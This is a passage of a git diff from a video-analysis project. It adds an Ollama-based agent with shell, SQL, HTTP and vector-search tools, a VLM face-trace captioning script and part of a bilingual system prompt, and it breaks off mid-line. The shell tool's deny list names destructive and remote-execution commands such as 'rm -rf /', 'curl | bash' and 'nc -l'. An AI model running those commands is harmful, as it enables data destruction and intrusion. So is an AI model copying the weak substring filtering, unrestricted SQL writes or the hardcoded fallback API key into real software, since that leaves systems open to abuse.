"function": { + "name": name, + "description": description, + "parameters": parameters + } + } + self._executors[name] = executor + logger.debug(f"Registered tool: {name}") + + def get_definitions(self) -> List[Dict[str, Any]]: + """Get all tool definitions for API calls""" + return list(self._tools.values()) + + def has_tool(self, name: str) -> bool: + """Check if tool exists""" + return name in self._executors + + def execute(self, name: str, arguments: Dict[str, Any]) -> ToolResult: + """Execute a tool by name""" + if name not in self._executors: + logger.error(f"Unknown tool: {name}") + return ToolResult( + success=False, + data=None, + error=f"Unknown tool: {name}" + ) + + start_time = datetime.now() + logger.info(f"Executing tool: {name} with args: {json.dumps(arguments, ensure_ascii=False)[:200]}") + + try: + result = self._executors[name](arguments) + elapsed = (datetime.now() - start_time).total_seconds() * 1000 + result.execution_time_ms = elapsed + + if result.success: + logger.info(f"Tool {name} succeeded in {elapsed:.1f}ms") + else: + logger.error(f"Tool {name} failed: {result.error}") + + return result + except Exception as e: + elapsed = (datetime.now() - start_time).total_seconds() * 1000 + logger.error(f"Tool {name} exception: {e}") + return ToolResult( + success=False, + data=None, + error=str(e), + execution_time_ms=elapsed + ) + + +class OllamaToolCaller: + """Tool caller using Ollama API with improved stability""" + + def __init__( + self, + base_url: str = "http://localhost:11434", + model: str = "llama3.1:8b", + max_iterations: int = 10, + max_tool_calls: int = 5 + ): + self.base_url = base_url + self.model = model + self.max_iterations = max_iterations + self.max_tool_calls = max_tool_calls + self.registry = ToolRegistry() + + # System prompt optimized for tool calling + self.system_prompt = """You are a data assistant with access to tools. + +CORE RULES: +1. When you receive a tool result, you MUST provide a final answer - do NOT call more tools +2. Call exactly ONE tool per response +3. Answer based on tool results, not assumptions +4. If tool fails, report the error and stop + +IMPORTANT: After receiving ANY tool result, respond with a clear answer to the user.""" + + # Track tool calls for loop prevention + self._tool_call_history: List[str] = [] + + logger.info(f"Initialized OllamaToolCaller with model={model}") + + def chat(self, messages: List[Dict[str, Any]]) -> Dict[str, Any]: + """Send chat request to Ollama""" + url = f"{self.base_url}/api/chat" + payload = { + "model": self.model, + "messages": messages, + "tools": self.registry.get_definitions(), + "stream": False + } + + logger.debug(f"Sending chat request to {url}") + response = requests.post(url, json=payload, timeout=120) + response.raise_for_status() + return response.json() + + def execute_tool_call(self, tool_call: Dict[str, Any]) -> ToolResult: + """Execute a single tool call with flexible argument parsing""" + func = tool_call.get("function", {}) + name = func.get("name", "") + + # Handle both dict and string arguments + arguments = func.get("arguments", {}) + if isinstance(arguments, str): + try: + arguments = json.loads(arguments) + except json.JSONDecodeError: + arguments = {} + + # Normalize arguments based on tool name + arguments = self._normalize_arguments(name, arguments) + + return self.registry.execute(name, arguments) + + def _normalize_arguments(self, tool_name: str, args: Dict[str, Any]) -> Dict[str, Any]: + """Normalize arguments to match expected format""" + if not args: + return args + + # For query_postgres, ensure we have 'query' parameter + if tool_name == "query_postgres": + if "query" not in args: + for key in ["query_text", "sql", "sql_query", "statement"]: + if key in args: + args["query"] = args[key] + break + + # For search_qdrant, ensure we have 'query_text' parameter + elif tool_name == "search_qdrant": + if "query_text" not in args: + for key in ["query", "search", "text"]: + if key in args: + args["query_text"] = args[key] + break + + return args + + def _get_tool_key(self, name: str, arguments: Any) -> str: + """Generate unique key for tool call""" + if isinstance(arguments, str): + try: + arguments = json.loads(arguments) + except: + arguments = {"raw": arguments} + return f"{name}:{json.dumps(arguments, sort_keys=True)}" + + def _is_duplicate_call(self, tool_key: str) -> bool: + """Check if this tool call was already made""" + is_dup = tool_key in self._tool_call_history + if is_dup: + logger.warning(f"Duplicate tool call detected: {tool_key[:50]}") + return is_dup + + def _add_to_history(self, tool_key: str): + """Add tool call to history""" + self._tool_call_history.append(tool_key) + + def _extract_tool_from_text(self, text: str) -> Optional[Tuple[str, Dict[str, Any]]]: + """Extract tool call from text content (when model outputs JSON instead of tool_calls)""" + if not text or '{"name":' not in text: + return None + + try: + start_idx = text.find('{"name":') + if start_idx == -1: + return None + + # Find the end of the JSON object + depth = 0 + end_idx = start_idx + for i in range(start_idx, len(text)): + if text[i] == '{': + depth += 1 + elif text[i] == '}': + depth -= 1 + if depth == 0: + end_idx = i + 1 + break + + if end_idx > start_idx: + json_str = text[start_idx:end_idx] + # Fix common JSON issues + json_str = json_str.replace('\\ ', ' ') + json_str = json_str.replace('\\n', '\n') + + tool_data = json.loads(json_str) + if 'name' in tool_data: + name = tool_data['name'] + params = tool_data.get('parameters', tool_data.get('arguments', {})) + if self.registry.has_tool(name): + logger.debug(f"Extracted tool from text: {name}") + return (name, params) + except Exception as e: + logger.debug(f"Failed to extract tool from text: {e}") + + return None + + def _force_answer(self, messages: List[Dict[str, Any]], tool_results: str) -> str: + """Force the model to provide a final answer based on tool results""" + messages.append({ + "role": "user", + "content": f"Based on the tool results above, please provide your final answer now. Do not call any more tools.\n\nTool results:\n{tool_results}" + }) + + url = f"{self.base_url}/api/chat" + payload = { + "model": self.model, + "messages": messages, + "stream": False + } + + try: + logger.info("Forcing final answer from model") + response = requests.post(url, json=payload, timeout=120) + response.raise_for_status() + return response.json().get("message", {}).get("content", "Unable to generate answer.") + except Exception as e: + logger.error(f"Failed to force answer: {e}") + return f"Tool execution completed. Results: {tool_results}" + + def run(self, user_query: str) -> str: + """ + Run tool calling loop with user query. + + Args: + user_query: The user's question or request + + Returns: + Final text response from the model + """ + logger.info(f"Starting tool call loop for query: {user_query[:100]}") + self._tool_call_history = [] + + messages = [ + {"role": "system", "content": self.system_prompt}, + {"role": "user", "content": user_query} + ] + + tool_results_collected = [] + + for iteration in range(self.max_iterations): + logger.info(f"Iteration {iteration + 1}/{self.max_iterations}") + + # Call LLM + response = self.chat(messages) + + message = response.get("message", {}) + content = message.get("content", "") + tool_calls = message.get("tool_calls", []) + + # If no tool calls in response, check if content has text tool call + if not tool_calls: + extracted = self._extract_tool_from_text(content) + if extracted: + name, params = extracted + tool_key = self._get_tool_key(name, params) + + if not self._is_duplicate_call(tool_key): + self._add_to_history(tool_key) + tool_call = {"function": {"name": name, "arguments": params}} + tool_result = self.execute_tool_call(tool_call) + + # Build result string with error handling + if tool_result.success: + result_str = json.dumps({ + "success": True, + "data": tool_result.data + }, ensure_ascii=False, cls=DateTimeEncoder) + else: + result_str = json.dumps({ + "success": False, + "error": tool_result.error, + "suggestion": "Try a different tool or rephrase your query." + }, ensure_ascii=False) + + messages.append({"role": "assistant", "content": "", "tool_calls": [tool_call]}) + messages.append({"role": "user", "content": f"Tool result: {result_str}"}) + tool_results_collected.append(f"{name}: {result_str[:500]}") + continue + + # No tool call - return content + if content: + logger.info(f"Returning final answer after {iteration + 1} iterations") + return content + else: + return self._force_answer(messages, "\n".join(tool_results_collected) if tool_results_collected else "No tool was called") + + # Execute first tool call (sequential) + tool_call = tool_calls[0] + func = tool_call.get("function", {}) + tool_name = func.get("name", "") + arguments = func.get("arguments", {}) + + tool_key = self._get_tool_key(tool_name, arguments) + + # Check for duplicate + if self._is_duplicate_call(tool_key): + return self._force_answer(messages, "\n".join(tool_results_collected) if tool_results_collected else "Tool already executed") + + # Track and execute + self._add_to_history(tool_key) + tool_result = self.execute_tool_call(tool_call) + + # Check if we've hit the tool call limit + if len(self._tool_call_history) >= self.max_tool_calls: + if tool_result.success: + result_str = json.dumps({ + "success": True, + "data": tool_result.data + }, ensure_ascii=False, cls=DateTimeEncoder) + else: + result_str = json.dumps({ + "success": False, + "error": tool_result.error, + "suggestion": "Try a different tool or rephrase your query." + }, ensure_ascii=False) + + tool_results_collected.append(f"{tool_name}: {result_str[:500]}") + return self._force_answer(messages, "\n".join(tool_results_collected)) + + # Add to messages + messages.append({"role": "assistant", "content": "", "tool_calls": [tool_call]}) + + if tool_result.success: + result_str = json.dumps({ + "success": True, + "data": tool_result.data + }, ensure_ascii=False, cls=DateTimeEncoder) + else: + result_str = json.dumps({ + "success": False, + "error": tool_result.error, + "suggestion": "Try a different tool or rephrase your query." + }, ensure_ascii=False) + + messages.append({"role": "user", "content": f"Tool result: {result_str}"}) + tool_results_collected.append(f"{tool_name}: {result_str[:500]}") + + # Max iterations reached + logger.warning(f"Max iterations ({self.max_iterations}) reached") + return self._force_answer(messages, "\n".join(tool_results_collected) if tool_results_collected else "Max iterations reached") + + def register_default_tools(self, db_url: str = None, qdrant_url: str = None): + """Register default tools with connection strings""" + + # Get default collection from environment variable + default_collection = os.environ.get("QDRANT_DEFAULT_COLLECTION", "momentry_rule1") + logger.info(f"Using default Qdrant collection: {default_collection}") + + # PostgreSQL tool + def query_postgres(args: Dict[str, Any]) -> ToolResult: + import psycopg2 + import psycopg2.extras + + query = args.get("query", "") + if not query: + return ToolResult(success=False, data=None, error="No query provided") + + logger.info(f"Executing PostgreSQL query: {query[:100]}") + + conn = psycopg2.connect(db_url or "postgres://accusys@localhost:5432/momentry") + try: + with conn.cursor(cursor_factory=psycopg2.extras.RealDictCursor) as cur: + cur.execute(query) + if cur.description: + rows = cur.fetchall() + logger.info(f"Query returned {len(rows)} rows") + return ToolResult( + success=True, + data={"rows": [dict(r) for r in rows], "row_count": len(rows)} + ) + else: + conn.commit() + logger.info(f"Query affected {cur.rowcount} rows") + return ToolResult( + success=True, + data={"affected_rows": cur.rowcount} + ) + finally: + conn.close() + + self.registry.register( + name="query_postgres", + description="Execute SQL query on PostgreSQL database. Use SELECT for queries, INSERT/UPDATE/DELETE for modifications.", + parameters={ + "type": "object", + "properties": { + "query": { + "type": "string", + "description": "SQL query to execute" + } + }, + "required": ["query"] + }, + executor=query_postgres + ) + + # Qdrant tool with health check + def search_qdrant(args: Dict[str, Any]) -> ToolResult: + import requests as req + + collection = args.get("collection", default_collection) + query_text = args.get("query_text", "") + limit = args.get("limit", 10) + + # Get Qdrant API key from args or environment + api_key = args.get("api_key") or os.environ.get("QDRANT_API_KEY", "Test3200Test3200Test3200") + + if not query_text: + return ToolResult(success=False, data=None, error="No query text provided") + + logger.info(f"Searching Qdrant collection '{collection}' for: {query_text[:50]}") + + # Check embedding server health + try: + embed_health = req.get("http://localhost:11436/health", timeout=5) + if embed_health.status_code != 200: + return ToolResult( + success=False, + data=None, + error=f"Embedding server not healthy (status={embed_health.status_code})" + ) + except req.exceptions.ConnectionError: + return ToolResult( + success=False, + data=None, + error="Embedding server not available at http://localhost:11436" + ) + except Exception as e: + return ToolResult( + success=False, + data=None, + error=f"Embedding server health check failed: {str(e)}" + ) + + # Get embedding + try: + embed_url = "http://localhost:11436/v1/embeddings" + embed_resp = req.post(embed_url, json={"input": query_text}, timeout=30) + embed_resp.raise_for_status() + embed_data = embed_resp.json() + # Handle both response formats + if "data" in embed_data: + embedding = embed_data["data"][0]["embedding"] + elif "embeddings" in embed_data: + embedding = embed_data["embeddings"][0] + else: + return ToolResult( + success=False, + data=None, + error=f"Unexpected embedding response format: {list(embed_data.keys())}" + ) + logger.info(f"Generated embedding (dim={len(embedding)})") + except Exception as e: + return ToolResult( + success=False, + data=None, + error=f"Embedding generation failed: {str(e)}" + ) + + # Check Qdrant collection exists + qdrant_url_base = qdrant_url or "http://localhost:6333" + headers = {"api-key": api_key} + try: + collections_url = f"{qdrant_url_base}/collections" + coll_resp = req.get(collections_url, headers=headers, timeout=10) + coll_resp.raise_for_status() + collections = [c["name"] for c in coll_resp.json().get("result", {}).get("collections", [])] + logger.info(f"Available Qdrant collections: {collections}") + + if collection not in collections: + return ToolResult( + success=False, + data=None, + error=f"Collection '{collection}' not found. Available: {', '.join(collections)}" + ) + except Exception as e: + return ToolResult( + success=False, + data=None, + error=f"Qdrant connection failed: {str(e)}" + ) + + # Execute search + search_url = f"{qdrant_url_base}/collections/{collection}/points/search" + search_payload = {"vector": embedding, "limit": limit, "with_payload": True} + + try: + search_resp = req.post(search_url, json=search_payload, headers=headers, timeout=30) + search_resp.raise_for_status() + results = search_resp.json().get("result", []) + logger.info(f"Qdrant returned {len(results)} matches") + except Exception as e: + return ToolResult( + success=False, + data=None, + error=f"Qdrant search failed: {str(e)}" + ) + + return ToolResult( + success=True, + data={ + "matches": [ + {"id": r.get("id"), "score": r.get("score"), "payload": r.get("payload", {})} + for r in results + ], + "match_count": len(results) + } + ) + + self.registry.register( + name="search_qdrant", + description=f"Search for similar vectors in Qdrant collection. Default collection: {default_collection}", + parameters={ + "type": "object", + "properties": { + "collection": { + "type": "string", + "description": f"Qdrant collection name (default: {default_collection})", + "default": default_collection + }, + "query_text": { + "type": "string", + "description": "Search query text (will be embedded)" + }, + "limit": { + "type": "integer", + "description": "Maximum number of results", + "default": 10 + } + }, + "required": ["query_text"] + }, + executor=search_qdrant + ) + + # Bash tool with enhanced safety + def execute_bash(args: Dict[str, Any]) -> ToolResult: + command = args.get("command", "") + timeout = args.get("timeout", 30) + + if not command: + return ToolResult(success=False, data=None, error="No command provided") + + # Limit command length + if len(command) > 2000: + return ToolResult(success=False, data=None, error="Command too long (max 2000 chars)") + + logger.info(f"Executing bash command: {command[:100]}") + + # Enhanced safety patterns + blocked_patterns = [ + # File system destruction + "rm -rf /", "rm -rf /*", "mkfs", "dd if=", "> /dev/", + # Permission escalation + "sudo ", "su -", "chmod 777", "chown root", + # Remote execution + "curl | bash", "curl | sh", "wget | sh", "wget | bash", + "curl http", "wget http", + # Fork bomb / DoS + ":(){", "fork", "kill -9 1", + # Network listeners + "nc -l", "netcat -l", "socat", + # Process killing + "killall", "pkill", + # Disk operations + "fdisk", "parted", + ] + + command_lower = command.lower() + for pattern in blocked_patterns: + if pattern in command_lower: + logger.warning(f"Blocked dangerous command pattern: {pattern}") + return ToolResult( + success=False, + data=None, + error=f"Blocked dangerous command pattern: {pattern}" + ) + + try: + result = subprocess.run( + command, + shell=True, + capture_output=True, + text=True, + timeout=timeout + ) + logger.info(f"Command completed with return code: {result.returncode}") + return ToolResult( + success=result.returncode == 0, + data={ + "stdout": result.stdout[:5000], + "stderr": result.stderr[:2000], + "returncode": result.returncode + } + ) + except subprocess.TimeoutExpired: + logger.error(f"Command timed out after {timeout}s") + return ToolResult( + success=False, + data=None, + error=f"Command timed out after {timeout}s" + ) + + self.registry.register( + name="execute_bash", + description="Execute a bash command on the system. Use for file operations, system checks, etc.", + parameters={ + "type": "object", + "properties": { + "command": { + "type": "string", + "description": "Bash command to execute" + }, + "timeout": { + "type": "integer", + "description": "Timeout in seconds", + "default": 30 + } + }, + "required": ["command"] + }, + executor=execute_bash + ) + + # API tool + def call_api(args: Dict[str, Any]) -> ToolResult: + import requests as req + + url = args.get("url", "") + method = args.get("method", "GET").upper() + headers = args.get("headers", {}) + data = args.get("data") + + if not url: + return ToolResult(success=False, data=None, error="No URL provided") + + logger.info(f"Calling API: {method} {url[:100]}") + + try: + if method == "GET": + resp = req.get(url, headers=headers, timeout=30) + elif method == "POST": + resp = req.post(url, json=data, headers=headers, timeout=30) + elif method == "PUT": + resp = req.put(url, json=data, headers=headers, timeout=30) + elif method == "DELETE": + resp = req.delete(url, headers=headers, timeout=30) + else: + return ToolResult( + success=False, + data=None, + error=f"Unsupported method: {method}" + ) + + logger.info(f"API response: {resp.status_code}") + return ToolResult( + success=resp.status_code < 400, + data={ + "status_code": resp.status_code, + "headers": dict(resp.headers), + "body": resp.text[:10000] + } + ) + except Exception as e: + logger.error(f"API call failed: {e}") + return ToolResult(success=False, data=None, error=str(e)) + + self.registry.register( + name="call_api", + description="Call an external HTTP API endpoint. Use for REST API interactions.", + parameters={ + "type": "object", + "properties": { + "url": { + "type": "string", + "description": "API endpoint URL" + }, + "method": { + "type": "string", + "enum": ["GET", "POST", "PUT", "DELETE"], + "description": "HTTP method", + "default": "GET" + }, + "headers": { + "type": "object", + "description": "HTTP headers" + }, + "data": { + "type": "object", + "description": "Request body for POST/PUT" + } + }, + "required": ["url"] + }, + executor=call_api + ) + + +def main(): + """Example usage""" + caller = OllamaToolCaller() + caller.register_default_tools() + + query = "How many videos are in the database?" + print(f"Query: {query}") + print("-" * 50) + + result = caller.run(query) + print(f"Result: {result}") + + +if __name__ == "__main__": + main() diff --git a/scripts/trace_vlm_caption.py b/scripts/trace_vlm_caption.py new file mode 100755 index 0000000..f707ff9 --- /dev/null +++ b/scripts/trace_vlm_caption.py @@ -0,0 +1,345 @@ +#!/opt/homebrew/bin/python3.11 +""" +Trace VLM Caption - Generate VLM descriptions for face traces + +Analyzes key_face.jpg or key_frame.jpg using VLM (llava:7b) and updates trace_profile.json. + +Usage: + python trace_vlm_caption.py --trace-dir /path/to/output/{uuid}/trace_0 + python trace_vlm_caption.py --file-uuid abc123 --trace-id 0 --output-dir /path/to/output + +Output (13 fields): + Person: vlm_description, vlm_clothing, vlm_tags, vlm_hand_objects + Environment: vlm_lighting, vlm_location, vlm_weather, vlm_setting, vlm_transportation + Nature: vlm_has_plants, vlm_plants, vlm_has_animals, vlm_animals + Context: vlm_background, vlm_bg_tags +""" + +import argparse +import base64 +import json +import os +import sys +from pathlib import Path + +try: + import requests +except ImportError: + print("requests not installed: pip install requests", file=sys.stderr) + sys.exit(1) + + +def encode_image(image_path: str) -> str: + """Encode image to base64.""" + with open(image_path, "rb") as f: + return base64.b64encode(f.read()).decode("utf-8") + + +def call_vlm(image_path: str, prompt: str, model: str = "llava:7b", ollama_url: str = "http://localhost:11434") -> str: + """Call Ollama VLM API.""" + image_b64 = encode_image(image_path) + + payload = { + "model": model, + "prompt": prompt, + "images": [image_b64], + "stream": False, + "options": {"num_predict": 100} + } + + try: + resp = requests.post(f"{ollama_url}/api/generate", json=payload, timeout=30) + resp.raise_for_status() + data = resp.json() + return data.get("response", "").strip() + except Exception as e: + print(f"VLM API error: {e}", file=sys.stderr) + return "" + + +def get_embedding(text: str, model: str = "nomic-embed-text-v2-moe", ollama_url: str = "http://localhost:11434") -> list: + """Get embedding from Ollama.""" + try: + resp = requests.post( + f"{ollama_url}/api/embed", + json={"model": model, "input": text}, + timeout=30, + ) + resp.raise_for_status() + data = resp.json() + return data.get("embeddings", [[]])[0] + except Exception as e: + print(f"[vlm] Embedding error: {e}", file=sys.stderr) + return [] + + +def store_to_qdrant(profile: dict, file_uuid: str, trace_id: int, qdrant_url: str = "http://localhost:6333", qdrant_api_key: str = None) -> bool: + """Store VLM results to Qdrant _vlm collection.""" + description = profile.get("vlm_description", "") + if not description: + return False + + # Get embedding + embedding = get_embedding(description) + if not embedding: + print(f"[vlm] Failed to get embedding for trace_{trace_id}", file=sys.stderr) + return False + + # Generate point ID from file_uuid + trace_id + import hashlib + point_id = int(hashlib.md5(f"{file_uuid}_trace_{trace_id}".encode()).hexdigest()[:16], 16) + + # Build payload + payload = { + "type": "trace", + "file_uuid": file_uuid, + "trace_id": trace_id, + "vlm_description": profile.get("vlm_description", ""), + "vlm_clothing": profile.get("vlm_clothing", ""), + "vlm_tags": profile.get("vlm_tags", []), + "vlm_hand_objects": profile.get("vlm_hand_objects", ""), + "vlm_lighting": profile.get("vlm_lighting", "unknown"), + "vlm_location": profile.get("vlm_location", "unknown"), + "vlm_weather": profile.get("vlm_weather", "unknown"), + "vlm_setting": profile.get("vlm_setting", "unknown"), + "vlm_transportation": profile.get("vlm_transportation", "unknown"), + "vlm_has_plants": profile.get("vlm_has_plants", False), + "vlm_plants": profile.get("vlm_plants", []), + "vlm_has_animals": profile.get("vlm_has_animals", False), + "vlm_animals": profile.get("vlm_animals", []), + "vlm_background": profile.get("vlm_background", ""), + "vlm_bg_tags": profile.get("vlm_bg_tags", []), + "vlm_model": profile.get("vlm_model", ""), + } + + # Upsert to Qdrant + try: + headers = {} + if qdrant_api_key: + headers["api-key"] = qdrant_api_key + + resp = requests.put( + f"{qdrant_url}/collections/_vlm/points?wait=true", + json={ + "points": [{ + "id": point_id, + "vector": embedding, + "payload": payload, + }] + }, + headers=headers, + timeout=30, + ) + resp.raise_for_status() + print(f"[vlm] Stored to Qdrant: trace_{trace_id}") + return True + except Exception as e: + print(f"[vlm] Qdrant error: {e}", file=sys.stderr) + return False + + +def analyze_trace(trace_dir: str, model: str = "llava:7b", store_qdrant: bool = True) -> dict: + """ + Analyze a face trace with VLM. + + Returns: + Dict with VLM analysis results + """ + trace_path = Path(trace_dir) + profile_path = trace_path / "trace_profile.json" + + if not profile_path.exists(): + print(f"[vlm] No trace_profile.json in {trace_dir}", file=sys.stderr) + return {} + + # Load existing profile + with open(profile_path, "r") as f: + profile = json.load(f) + + # Find image to analyze (prefer key_frame.jpg for full context) + key_frame = trace_path / "key_frame.jpg" + key_face = trace_path / "key_face.jpg" + + if not key_frame.exists() and not key_face.exists(): + print(f"[vlm] No key_frame.jpg or key_face.jpg in {trace_dir}", file=sys.stderr) + return profile + + # Use key_frame for clothing/background analysis (full body context) + image_to_analyze = str(key_frame) if key_frame.exists() else str(key_face) + + print(f"[vlm] Analyzing {trace_path.name}...") + +# Prompt 1: Person description + desc_prompt = "Describe this person briefly. Include: gender, age range, hair, visible clothing. If uncertain, say 'unknown'. Be concise and honest." + description = call_vlm(image_to_analyze, desc_prompt, model) + + # Prompt 2: Clothing details + clothing_prompt = "Describe this person's clothing in detail. Include colors, type of clothing, any visible text or logos. If unclear, say 'unclear' or 'partially visible'. Do not guess." + clothing = call_vlm(image_to_analyze, clothing_prompt, model) + + # Prompt 3: Tags + tags_prompt = "List 5 tags describing this person's appearance, comma-separated. Only include what you can clearly see. Examples: man, glasses, red-shirt, formal, casual." + tags_raw = call_vlm(image_to_analyze, tags_prompt, model) + tags = [t.strip() for t in tags_raw.replace(",", " ").split() if t.strip()][:5] + + # Prompt 5: Objects in hand + hand_prompt = "What is this person holding in their hands? Answer: object names if clearly visible, or 'nothing visible', or 'unclear'. Do not guess." + hand_objects = call_vlm(image_to_analyze, hand_prompt, model) + + # Prompt 6: Lighting (day/night) + light_prompt = "What is the lighting condition? Answer one word: day, night, indoor-light, mixed, or unknown. If uncertain, answer 'unknown'." + lighting = call_vlm(image_to_analyze, light_prompt, model).lower().strip() + + # Prompt 7: Scene classification + scene_prompt = "Classify the scene. Answer in JSON: {\"location\": \"indoor/outdoor/unknown\", \"weather\": \"sunny/cloudy/rainy/night/unknown\", \"setting\": \"office/street/home/nature/studio/unknown\", \"transportation\": \"car/train/bus/none/unknown\"}. Use 'unknown' if uncertain." + scene_raw = call_vlm(image_to_analyze, scene_prompt, model) + + # Parse scene JSON (handle markdown code blocks) + scene_data = {} + try: + # Remove markdown code blocks if present + scene_clean = scene_raw.replace("```json", "").replace("```", "").strip() + scene_data = json.loads(scene_clean) + except: + scene_data = {} + + # Prompt 8: Background description + bg_prompt = "Describe the background and environment briefly. Include only what is clearly visible. If uncertain about details, say 'unclear' or 'partially visible'. Do not guess or imagine." + background = call_vlm(image_to_analyze, bg_prompt, model) + + # Prompt 9: Plants detection + plants_prompt = "What plants, trees, or flowers are clearly visible? Answer in JSON: {\"has_plants\": true/false, \"plants\": [\"list recognizable plants by name. If not recognizable, describe briefly what you see. Use empty list if none or uncertain.\"]}" + plants_raw = call_vlm(image_to_analyze, plants_prompt, model) + + # Parse plants JSON + plants_data = {} + try: + plants_clean = plants_raw.replace("```json", "").replace("```", "").strip() + plants_data = json.loads(plants_clean) + except: + plants_data = {"has_plants": False, "plants": []} + + # Prompt 10: Animals detection + animals_prompt = "What animals are clearly visible? Answer in JSON: {\"has_animals\": true/false, \"animals\": [\"list recognizable animals by name. If not recognizable, describe briefly what you see. Use empty list if none or uncertain.\"]}" + animals_raw = call_vlm(image_to_analyze, animals_prompt, model) + + # Parse animals JSON + animals_data = {} + try: + animals_clean = animals_raw.replace("```json", "").replace("```", "").strip() + animals_data = json.loads(animals_clean) + except: + animals_data = {"has_animals": False, "animals": []} + + # Prompt 11: Background tags + bg_tags_prompt = "List 5 tags for the background/scene, comma-separated. Examples: office, street, sunny, building, car, trees." + bg_tags_raw = call_vlm(image_to_analyze, bg_tags_prompt, model) + bg_tags = [t.strip() for t in bg_tags_raw.replace(",", " ").split() if t.strip()][:5] + + # Update profile + profile["vlm_description"] = description + profile["vlm_clothing"] = clothing + profile["vlm_tags"] = tags + profile["vlm_hand_objects"] = hand_objects + profile["vlm_lighting"] = lighting + profile["vlm_location"] = scene_data.get("location", "unknown") + profile["vlm_weather"] = scene_data.get("weather", "unknown") + profile["vlm_setting"] = scene_data.get("setting", "unknown") + profile["vlm_transportation"] = scene_data.get("transportation", "unknown") + profile["vlm_has_plants"] = plants_data.get("has_plants", False) + profile["vlm_plants"] = plants_data.get("plants", []) + profile["vlm_has_animals"] = animals_data.get("has_animals", False) + profile["vlm_animals"] = animals_data.get("animals", []) + profile["vlm_background"] = background + profile["vlm_bg_tags"] = bg_tags + profile["vlm_model"] = model + + # Save updated profile + with open(profile_path, "w") as f: + json.dump(profile, f, indent=2) + + # Store to Qdrant + if store_qdrant: + file_uuid = profile.get("file_uuid", "") + trace_id = profile.get("trace_id", 0) + if file_uuid: + qdrant_api_key = os.environ.get("QDRANT_API_KEY") + store_to_qdrant(profile, file_uuid, trace_id, qdrant_api_key=qdrant_api_key) + + print(f"[vlm] Updated {trace_path.name}: {description[:30]}... | Loc: {scene_data.get('location', '?')} | Light: {lighting} | Hand: {hand_objects[:20]}...") + + return profile + + +def analyze_all_traces(file_uuid: str, output_dir: str, model: str = "llava:7b") -> dict: + """ + Analyze all traces for a file. + + Returns: + Summary dict + """ + file_dir = Path(output_dir) / file_uuid + + if not file_dir.exists(): + print(f"No trace directory: {file_dir}", file=sys.stderr) + return {"error": "No trace directory"} + + trace_dirs = sorted(file_dir.glob("trace_*")) + + if not trace_dirs: + print(f"No traces found in {file_dir}", file=sys.stderr) + return {"error": "No traces"} + + results = [] + for trace_dir in trace_dirs: + profile = analyze_trace(str(trace_dir), model) + if profile: + results.append({ + "trace_id": profile.get("trace_id"), + "vlm_description": profile.get("vlm_description", "")[:50] + "...", + "vlm_tags": profile.get("vlm_tags", []), + }) + + return { + "file_uuid": file_uuid, + "total_traces": len(trace_dirs), + "analyzed": len(results), + "traces": results, + } + + +def main(): + parser = argparse.ArgumentParser(description="VLM caption generation for face traces") + parser.add_argument("--trace-dir", "-t", help="Single trace directory") + parser.add_argument("--file-uuid", "-u", help="File UUID (analyze all traces)") + parser.add_argument("--trace-id", type=int, help="Single trace ID (requires --file-uuid)") + parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory") + parser.add_argument("--model", "-m", default="llava:7b", help="VLM model name") + parser.add_argument("--json", "-j", action="store_true", help="Output as JSON") + args = parser.parse_args() + + if args.trace_dir: + # Single trace directory + result = analyze_trace(args.trace_dir, args.model) + elif args.file_uuid: + if args.trace_id is not None: + # Single trace + trace_dir = Path(args.output_dir) / args.file_uuid / f"trace_{args.trace_id}" + result = analyze_trace(str(trace_dir), args.model) + else: + # All traces for file + result = analyze_all_traces(args.file_uuid, args.output_dir, args.model) + else: + parser.error("Requires --trace-dir or --file-uuid") + + if args.json: + print(json.dumps(result, indent=2)) + else: + if "vlm_description" in result: + print(f"Description: {result['vlm_description']}") + print(f"Clothing: {result.get('vlm_clothing', '')}") + print(f"Tags: {result.get('vlm_tags', [])}") + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/yolo_processor.py b/scripts/yolo_processor.py index f0d2d45..c6b07ec 100755 --- a/scripts/yolo_processor.py +++ b/scripts/yolo_processor.py @@ -483,6 +483,7 @@ if __name__ == "__main__": action="store_true", help="Force restart from beginning (ignore existing data)", ) + parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS) args = parser.parse_args() diff --git a/src/api/agent_search.rs b/src/api/agent_search.rs index 19858f5..dab1454 100644 --- a/src/api/agent_search.rs +++ b/src/api/agent_search.rs @@ -80,50 +80,71 @@ pub struct AgentSearchResponse { const SYSTEM_PROMPT: &str = r#"你是 Momentry 影片分析助手。回答用戶關於影片內容的問題。 +## Greeting and Conversation Handling (CRITICAL - Check First) +- If user input is ONLY a greeting ("hi", "hello", "hey", "你好", "您好", "hallo"): + - **DO NOT call any search tools** + - Respond in English: "Hello! I'm Momentry video analysis assistant. I can help you search video content, find people, and analyze scenes. What would you like to know?" +- If user asks "how are you" or "thanks", respond briefly in English without tools +- **Only use search tools when user asks about VIDEO CONTENT** + +## Response Language (MANDATORY) +- **DEFAULT: English** - You MUST respond in English unless user explicitly requests another language +- This applies to ALL responses: greetings, search results, explanations +- Example: If user asks "gun", respond in English about gun-related content +- Only respond in Chinese if user writes in Chinese AND explicitly requests Chinese response + ## 核心原則:預設搜尋所有影片,不主動反問 - **所有查詢都預設搜尋全部影片**,不要問用戶「哪部影片」 - 如果搜尋到多部影片,直接列出所有結果,不要反問用戶選擇 - 只有當多個搜尋工具都返回空、且問題明顯指向特定影片時,才問用戶 -- 搜尋工具(find_file, list_files, smart_search, universal_search)的 file_uuid 參數可省略以搜尋全部 +- 搜尋工具(smart_search, semantic_search, trace_search)的 file_uuid 參數可省略以搜尋全部 -## 工具使用規則(重要:優先使用 smart_search) -1. **內容/關鍵字問題優先使用 smart_search** — 可以找到影片內的具體文字內容(OCR、ASR) -2. **如果 smart_search 找到結果,附帶顯示 chunk 文字內容**(包含 [OCR]、[ASRX] 標記) -3. find_file 僅用於搜尋片名,不適合搜尋內容關鍵字 -4. 人物問題使用 tkg_query -5. 人物台詞/發言問題使用 identities_search(輸入人名→回傳台詞片段) -6. 人物對話互動(誰跟誰說話)使用 tkg_query 的 speaker_interaction -7. 人物台詞內容使用 tkg_query 的 speaker_dialogue -8. 用文字反查人物使用 identity_text(輸入關鍵字→找出誰說/提到這段話) -9. 畫面分析使用 analyze_frame — 可以分析影片中的任何畫面內容(場景、人物表情、動作、物件等) -10. **人物外貌/衣著/顏色問題使用 vlm_describe** — 用 trace_id 查人臉裁切圖,經 VLM 分析描述衣著顏色、款式、配件等 -11. **vlm_describe 使用流程**:先用 tkg_query top_identities/identity_traces 找到該人的 trace_id,再呼叫 vlm_describe(file_uuid + 